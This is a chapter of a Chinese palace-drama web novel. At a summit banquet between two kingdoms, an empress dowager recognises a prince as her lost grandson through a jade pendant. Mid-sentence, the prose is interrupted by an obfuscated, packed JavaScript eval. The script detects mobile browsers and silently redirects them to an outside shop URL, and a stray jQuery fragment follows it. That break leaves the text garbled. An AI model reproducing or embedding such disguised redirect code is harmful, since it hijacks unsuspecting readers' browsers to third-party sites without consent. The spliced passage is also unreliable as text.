76. 第 76 章
    二月初十,两国会盟如约在靖州拉开了帷幕。

    靖州位于安宁两国交界处,会场所在的安宁苑,更是地跨两国,两端分别有兵力值守,是为最适合的会盟之地。

    安宁两国对此次会盟都很重视,双方政要大多随行前往,以推动两国和平,共同抵御朔国。

    宁国这边,除了宁帝携闵贵妃前往,随行的还有徐王容玮与靖王容砚,就连停了职的闵宏达,也因会盟而复职同往。

    安国来的也全是重量人物,安帝穆明携同太后薛岚,以及太子穆洲,都一起来了。[1]

    当然,两国的政要虽是到了靖州,都城却没有因此而放松,皆加派人手做足了妥善安排,不会让人在此期间有可趁之机。

    陆铃儿也随容砚一起来到了靖州,自密信被解开之后,她比任何人都清楚此次两国会盟有多重要,亦有多凶险,但这一趟她非来不可,不仅是为陆家,也为安宁两国。

    安宁苑中,两国皇帝正坐于高位,对两国未来的和平发展进行协商。

    其实这安宁两国,百余年前也曾是一个统一的大国,只是后主昏庸无能,国内硝烟四起,最终穆、容两家各自为据,大国一分为二。

    两国开国皇帝以安、宁为国号,就连都城也分别命名为永安与长宁,便是希望不再有征战,百姓永葆安宁。

    可惜数年过去,两国间又是摩擦不断,双方再次开战,直至那异族朔国逐渐壮大羽翼,野心勃勃意图侵占中原。

    两国同为中原大国,唇亡齿寒的道理哪有不知,在双方主和派的推动下,两国会盟便这样开启了。

    只是眼观这两位帝王,宁帝侃侃而谈,安帝却稍显气势不及,时不时还会拿余光瞟一眼侧方的薛太后。

    反观那薛太后倒是魄力十足,即使鬓角早已生出白发,也遮掩不住她周身的气场,或者说,她比安帝更像一国之君。

    其实这么说也没错,别看安帝如今已逾不惑之年,安国的掌权人,却一直还是这位薛太后。

    说来也是造化弄人,武将出身的安国太后薛岚,早年间与安国先帝一心想要统一中原,却在前往安宁两国的交界处,也就是现在所处的靖州遭遇了埋伏。

    一夜之间,安国先帝身亡,年幼的嫡长公主失踪,她一人回到安国,立彼时还是少年的庶子穆明为帝,并因这场变故恨上了宁国,多年争战不断。

    怎奈这安帝穆明虽有称帝的野心,却无为帝的能力,薛太后始终无法安心放权与他,这一听政就是三十余年。

    宁帝敛下眼中对安帝的一抹轻视,仍与之友好相商着。

    因着早年间的那些恩怨,安宁两国征战数年,最大的主战派便是安国薛太后,虽然近两年态度有所松动,但此次和谈最重要的,还是要看她的态度。

    好在此次薛太后外敌当前也放下了私心,会盟和谈进行得很顺利。

    经过三天的协商讨论,两国达成多项共识,止干戈共御外敌。

    二月十二,会盟结束之后,两国人员于安宁苑共进晚宴。

    安宁苑虽是地跨两国,主要归属仍在靖州,今日晚宴一切事宜,便由靖王容砚主理安排。

    安宁两帝分别坐于主位,薛太后与闵贵妃各坐于侧,其他随行人员则按国别坐在下方位置。

    不多时,佳肴上齐,助兴的歌舞也随之而起。

    此番会盟顺利落下帷幕,在场之人终是卸下了心防,兴致颇佳地品美食、赏歌舞。

    一曲演奏完毕,一个娇俏的身影站上了舞台。

    主位上的宁帝还没太反应过来,他身边的闵贵妃已恨恨地咬起了牙。

    又是这个陆铃儿,她不但在寿宴之上坏了他们的好事,还惹得玮儿险些与闵家离了心,真是该死!

    说来她还真是命大,伤成那样都没死,今日站上这舞台,不知道又想耍什么花样。

    不止是闵贵妃,闵家一派看向陆铃儿的目光都有些意味不明,只不过,容玮又与其他人不太一样。

    之前陆铃儿重伤不醒,闵家一派全都在笑,只有他一人,心痛到难以呼吸,他终究是放不下她,明知她从未爱过,还是无法眼睁睁看她受到伤害。

    为此他到闵家质问外祖闵宏达,彼此闹得很不愉快,就在他险些与闵家翻脸之时,外祖告诉了他一个秘密。

    这个秘密震得他多年的信念几欲崩塌,最终还是与闵家站在了一起。

    他如今,只能选择闵家了,至于陆铃儿,事成之后他定会好好将她关着,强行占据她的所有,绝不会像上次那般纵容于她了。

    就在容玮思绪万千之际,舞台上的陆铃儿已开始表演了。

    这次的彩戏与寿宴不同,全都不是大场面,而是一些令人眼前一亮的小把戏,尤其是她变出的数只白鸽,寓意和平的巧思令所有人惊喜又开怀。

    不仅如此,她还走下舞台,与席上之人互动,宁国这边已有不少人认出她就是寿宴上表演麻姑献寿的彩戏师,喝彩之声又大了几分,席上氛围好不热闹。

    薛太后今晚一直兴趣缺缺,直至看到陆铃儿的表演,这才有了几分兴致,她招了招手,示意陆铃儿到主位上来。

    陆铃儿会意上前,与主位四人也互动起来。

    四人当中,薛太后与安帝确实在看表演,宁帝与闵贵妃就有些心不在焉了。

    与闵贵妃的恨意不同,宁帝此刻看向陆铃儿的眼神颇有些复杂。

    他的确是欣赏陆铃儿的技艺,也满意于她上次的献礼,但再如何欣赏,她也不过是个民女,怎能与他宁国的皇子出双入对?简直是不成体统!

    自从寿宴过后,他对容砚的态度有了不小的转变,但这并不代表他会放任这个儿子连门当户对、尊卑有序的道理都不顾。

    他还想找容砚好好说道说道,容砚倒好,直接将人带到两国会盟上来了!

    他紧盯着陆铃儿,想要看清她到底有何不同,竟惹得他这不争气的儿子如此不顾礼法,还对外声称她是其未来的夫人。

    没想到这一细看,竟令他心头突地一跳。

    上次陆铃儿先扮少年后演飞天仙女,他其实并未看清她的真实面貌,今日细细瞧来,发觉她越看越像一位故人。

    只是那人早在十年前便全家遇剌、无人生还,不应还有后人存活于世。

    等等,这彩戏师也姓陆?

    他记得那人的确有个女儿,如果他的女儿还活着,应该就是眼前这般模样吧。

    思及此,宁帝眸色渐渐暗了下来。

    这边宁帝还沉浸在自己的思绪里,主位的另一边,薛太后本与安帝在专心看彩戏,却在不经意瞥向陆铃儿腰间之后,脸色陡然大变。

    她如遭雷击一般,怔了好几瞬,复又抬起凤眼,将陆铃儿细细打量,像是透过她在寻找什么人的影子。

    不多时,陆铃儿表演完毕,席上掌声四起,主位之上,唯一全程专注看表演的安帝,也忍不住点头称赞。

    陆铃儿此时正欲退场,宁帝还没来得及出声令其止步,却被薛太后抢了先:

    “彩戏师请留步,你且告诉哀家,你姓甚名谁,身世为何?”

    所有人都以为薛太后这是满意方才的表演,欲问明身份为陆铃儿行赏,只有宁帝斜目朝主位另一侧暗自一瞥。

    薛太后倒是抢先问了他想问的,不过,她绝对不止行赏这么简单。

    陆铃儿停下脚步,恭敬回复道:

    “回太后,小女子名为陆铃儿,师从宁国彩戏师幻人张行艺十年,现在的身份是一名解忧师,以彩戏之巧劲为民解百忧。”

    薛太后闻言若有所思,宁帝也对方才的猜想又肯定了几分。

    行艺十年?这便对上了。

    这丫头倒也狡猾,这番回复既道出了自己的身世,又暗中藏下了父母的信息,不过,他还是看出来了,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13127945|121347||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    她果然就是那人之女。

    不过薛太后关注的,可与宁帝不太一样,她没有接着陆铃儿的话详问他的父母,而是看向了她的腰间:

    “既如此,你可否告诉哀家,你腰间的玉佩,从何而来?”

    薛太后这番问话把所有人都问懵,目光纷纷投向陆铃儿腰间,好奇倒底是块什么样的玉佩,竟能引起她的注意。

    陆铃儿也是一怔,随即低头看向腰间的玄鸟抱月白玉佩,安国的太后,怎会在意阿砚送她的玉佩?

    她转手取下腰间玉佩,将其捧于掌心,任下方的青色流苏轻轻摇曳于空中:

    “太后问的可是这枚玉佩?这是宁国靖王殿下赠与我的。”

    陆铃儿躬身上向,将玉佩呈于主位案前,薛太后眷恋的眼神扫过玉佩上的每一个纹路,复又缓缓抬手,抚上了白玉上那一弯新月:

    “靖王?可是前来安国那位?”

    下方席座上的容砚此时也起身行至陆铃儿身向,朝薛太后恭敬一礼道:

    “回太后,此玉佩,正是小王所赠。”

    薛太后凤眸一抬,瞥向容砚的目光似有几分微不可见的不满:

    “你倒是豪气!”

    言罢她敛下眸光,朝容砚继续问道:

    “宁国靖王,敢问你又是如何得到这块玉佩的?”

    薛太后话说到这里,所有人都觉出不对味来,这口气听着怎么像她才是玉佩的主人?

    尤其是安帝,他疑惑地看向薛太后手中的玉佩,万分不希望在会盟夜宴会上节外生枝。

    可惜今晚注定会令他失望,只听容砚开口回复:

    “此玉佩,乃是小王生母遗留之物。”

    儿子拥有故去母亲之物,这本是再正常不过之事,但今日被薛太后这么问起,就太不正常了。

    众人皆知,容砚的母亲许美人,乃是一介歌女,一朝承恩有了龙嗣才被封的美人,她的遗留之物,薛太后怎么会认识?

    宁帝也诧异地将目光移向玉佩,他可以肯定,这并非是宁国皇宫之物。

    在他的印象中,那薄命的许美人从未佩戴过什么贵重之物,她怎会有这样一块质地上成、连安国太后都认得的玉佩?

    他突然意识到,今晚已经在朝着一个意想不到的方向发展了。

    不止是宁帝,闵家一派在场的三人,心中皆是一个咯噔,今晚之事,怕是有变。

    主位之上,薛太后闻言竟是一脸悲色:

    “生母?遗留之物?”

    她缓了片刻,才又继续问道:

    “可否与哀家讲讲你的生母,她是何年故去,去时又是几岁?”

    这一问,在场所有人都愣住了。

    安国太后,居然在意靖王的生母?那个歌女?

    任谁也不可能将这样两个八竿子打不着的人放在一处想,可薛太后,偏偏就这样问了。

    宁帝眼眸一眯,薛太后,许美人,难道?!

    下方的闵宏达,耷拉的眼皮重重一跳,不好,万没想到,事情会朝这个方向发展。

    “小王生母名唤许莺,自小流落在外,因歌喉出众被选作宫中歌女,一朝承恩受封为美人,却因身体抱恙于十六年前去世,殁时,二十岁。”

    容砚的生母出身低微,今日两国这些政要们,往常谁听了都难免会轻视一番,可今日,在场每一个人,却越听越心惊。

    此前他们从没有一个人,把许美人与薛太后联系起来,今日放在一处串起来看,桩桩件件竟全都对得上。

    自小流落、歌喉出众、年龄相仿,还有薛太后在意的玉佩……

    此时再看薛太后,多年强势如她,眼眶竟也开始泛起了红。

    她召容砚上前来到她面前,细细打量着他的眉眼,然后沉声说道:

    “哀家竟是今日才知,你便是哀家失散多年的亲外孙。孩子,你与你的母亲,都受苦了!”